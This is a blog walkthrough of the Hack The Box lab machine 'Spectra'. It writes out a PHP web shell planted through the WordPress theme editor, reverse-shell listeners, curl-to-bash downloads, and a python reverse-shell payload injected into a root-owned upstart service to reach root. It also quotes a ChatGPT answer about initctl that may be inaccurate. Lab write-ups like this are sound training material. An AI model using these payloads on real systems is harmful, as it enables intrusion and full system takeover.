Spectra is an easy ChromeOS box created by egre55 on Hack The Box and was released on the 27th of February 2021. Hello world, welcome to haxez where today I will explain how I hacked Spectra. To hack Spectra it is recommended that you have web enumeration and Linux enumeration skills. By owning Spectra you will learn lateral movement, file system permissions and sudo exploitation skills.
Spectra Enumeration
After spawning the box, I sent a ping request to check if I could talk to the box. Next, I ran a Nmap scan against all ports, requesting service versions and running default scripts. In addition, I set the minimum packet rate to 10000 packets per second and saved the output to all formats. As a result, I learnt that port 22 for OpenSSH 8.1, Port 80 for Nginx 1.17.4 and port 3306 for MySQL were open.
┌──(kali㉿kali)-[~/HTB/Spectra]
└─$ sudo nmap -sC -sV -p- 10.129.253.204 --min-rate 10000 -oA spectra
Web Application Enumeration
Next, I navigated to the IP address in my browser and a site loaded and presented two links. Clicking on each of the two links resulted in an error in Burp. In short, the links were attempting to load the domain spectra.htb but because that domain doesn’t resolve to an IP address, it doesn’t work. In order to make it work, I added the IP address and domain to my host file.
┌──(kali㉿kali)-[~/HTB/Spectra]
└─$ echo "10.129.253.204 spectra.htb" | sudo tee -a /etc/hosts
The Test link took me to a page with a database connection error. Initially, I didn’t think much of it but removing the index.php file from the URL revealed that directory listing was enabled.
The directory listing revealed a file named wp-config.php.save. The wp-config.php file contains the database connection details for WordPress sites. However, attempting to view that file will force the server to process the PHP rather than display the contents. Since the wp-config.php.save file doesn’t have a .PHP extension, I was able to view it by viewing the page source. I wasn’t able to log in to MySQL with the credentials but they could come in handy later.
The second link took me to a WordPress site titled Software Issue Management. I could see that there was a user called administrator but other than that not much else. I navigated to the wp-login.php URL and tried the password that I found with the administrator user. The site kept trying to load over HTTPS which caused errors but forcing it to HTTP solved those issues.
Spectra Foothold
I used the Theme editor to edit the 404 page of one of the unused themes. In short, I slipped a web shell into the page. As a result, when visiting the 404.php page directly and passing it the cmd parameter, I should be able to perform code execution.
<?php system($_REQUEST['cmd']); ?>
Next, I navigated to the 404 page and passed the id command to the cmd parameter. As a result, the details for the nginx user were returned. Code execution confirmed.
http://spectra.htb/main/wp-content/themes/twentynineteen/404.php?cmd=id
I ran into issues here and decided to go nuclear. For some reason, I wasn’t able to send myself a reverse shell via the web shell. I created a bash script which I hosted with a Python web server. I tried to curl the script and pipe it to bash but didn’t receive anything. Furthermore, I also downloaded the script with wget, and made it executable but when executing it, no reverse shell came back. For that reason, replaced the 404.php with the Pentest Monkey reverse shell. It wasn’t pretty but I was able to get a shell on the box as the nginx user.
┌──(kali㉿kali)-[~/HTB/Spectra]
└─$ sudo nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.54] from (UNKNOWN) [10.129.253.204] 34768
Linux spectra 5.4.66+ #1 SMP Tue Dec 22 13:39:49 UTC 2020 x86_64 Intel(R) Xeon(R) Gold 5218 CPU @ 2.30GHz GenuineIntel GNU/Linux
02:02:28 up 1:42, 0 users, load average: 0.11, 0.05, 0.01
USER TTY LOGIN@ IDLE JCPU PCPU WHAT
uid=20155(nginx) gid=20156(nginx) groups=20156(nginx)
$ whoami
nginx
Host Enumeration
After landing on the box I started enumerating the system. I checked the /etc/lsb-release file to identify the Operating System. To my surprise, It turns out that the box is using Chrome OS which probably had something to do with my reverse shells not working. Despite owning a Chromebook years ago, I have no idea how one works.
cat /etc/lsb-release
GOOGLE_RELEASE=87.3.41
CHROMEOS_RELEASE_BRANCH_NUMBER=85
CHROMEOS_RELEASE_TRACK=stable-channel
CHROMEOS_RELEASE_KEYSET=devkeys
CHROMEOS_RELEASE_NAME=Chromium OS
CHROMEOS_AUSERVER=https://cloudready-free-update-server-2.neverware.com/update
CHROMEOS_RELEASE_BOARD=chromeover64
CHROMEOS_DEVSERVER=https://cloudready-free-update-server-2.neverware.com/
CHROMEOS_RELEASE_BUILD_NUMBER=13505
CHROMEOS_CANARY_APPID={90F229CE-83E2-4FAF-8479-E368A34938B1}
CHROMEOS_RELEASE_CHROME_MILESTONE=87
CHROMEOS_RELEASE_PATCH_NUMBER=2021_01_15_2352
CHROMEOS_RELEASE_APPID=87efface-864d-49a5-9bb3-4b050a7c227a
CHROMEOS_BOARD_APPID=87efface-864d-49a5-9bb3-4b050a7c227a
CHROMEOS_RELEASE_BUILD_TYPE=Developer Build - neverware
CHROMEOS_RELEASE_VERSION=87.3.41
CHROMEOS_RELEASE_DESCRIPTION=87.3.41 (Developer Build - neverware) stable-channel chromeover64
I read through the official walkthrough and watched IppSec’s video to find out how to proceed. I hosted LinPEAS on a web server and used cURL to download it and piped it to bash.
Reading through the results, It turned out there is an auto-login feature. This feature loads after boot and I believe it allows the user to automatically log in. However, in order for this to work, it needs to retrieve the user’s password. The user’s password is saved in the /etc/autologin/passwd file. With this password, I was able to SSH to the box as Katie and capture the user flag.
┌──(kali㉿kali)-[~/HTB/Spectra]
└─$ ssh [email protected]
The authenticity of host '10.129.253.204 (10.129.253.204)' can't be established.
RSA key fingerprint is SHA256:lr0h4CP6ugF2C5Yb0HuPxti8gsG+3UY5/wKjhnjGzLs.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.253.204' (RSA) to the list of known hosts.
([email protected]) Password:
katie@spectra ~ $ ls
log user.txt
katie@spectra ~ $ cat user.txt
e89▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓130
ChromeOS Initctl
Once logged in as Katie, I ran sudo -l and learnt that Katie could execute /sbin/initctl as sudo with no password. However, I didn’t have a clue what initctl was. GTFO Bins didn’t have any matches for the binary so it was back to investigating. I cheated and used ChatGPT and here’s what ChatGPT had to say about it.
In Chrome OS, initctl
is a command used to manage system services. It allows you to start, stop, restart, and check the status of services on the system. initctl
is used by the system’s init system, which is responsible for starting and managing system processes and services.
Chrome OS is based on the Linux operating system and initctl
is a command from the Upstart init system that was commonly used on Linux systems in the past. However, in recent versions of Chrome OS, initctl
has been replaced by systemctl
, which is part of the newer systemd init system.
Spectra Privilege Escalation
Since Katie can control the services, she should be able to restart them. If I can find a service owned by root that I can edit, I could restart the service and execute commands as root. I checked the /etc/init directory for services and there were several test services that stood out. They were owned by root but the group ownership was developers. Since Katie was also a member of the developers’ group, she could edit the files.
First, I used initctl to stop the test service. If you don’t stop the service first and then stop the service after you make the changes, it reverts the changes.
katie@spectra ~ $ sudo /sbin/initctl stop test
Next, I modified the test file and added the following payload.
python2.7 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.54",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
After that, I started the netcat listener on my attack box and then started the test service.
katie@spectra ~ $ sudo /sbin/initctl start test
The reverse shell came back and I was able to capture the root flag.
┌──(kali㉿kali)-[~/HTB/Spectra]
└─$ sudo nc -lvnp 1234
[sudo] password for kali:
listening on [any] 1234 ...
connect to [10.10.14.54] from (UNKNOWN) [10.129.253.204] 33618
# whoami
root
# cat root.txt
cat: root.txt: No such file or directory
# cat /root/root.txt
d44▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓2fc
Spectra Learnings
I found this difficult for an easy box but I believe that’s mostly due to how unfamiliar I am with Chrome OS. Ok, it’s Linux but it didn’t behave as expected when trying to get a reverse shell. This threw me off for a bit. The initial enumeration was fun and it taught me not to make assumptions about things. As soon as I saw the database error on the test link, I wrote that off as an attack vector. I realise how silly that is now since it makes sense that it would be more of an attack vector.
I was stumped on the privilege escalation. LinPEAS didn’t scream the answer at me in highlighted red and yellow text. I also didn’t get the password printed to the screen like IppSec did in his video so that was odd. While I found it difficult, I did get to learn about ChromeOS which was nice. However, it seems that Google has since switched to systemd for service management. Anyway, this was a fun box. Thanks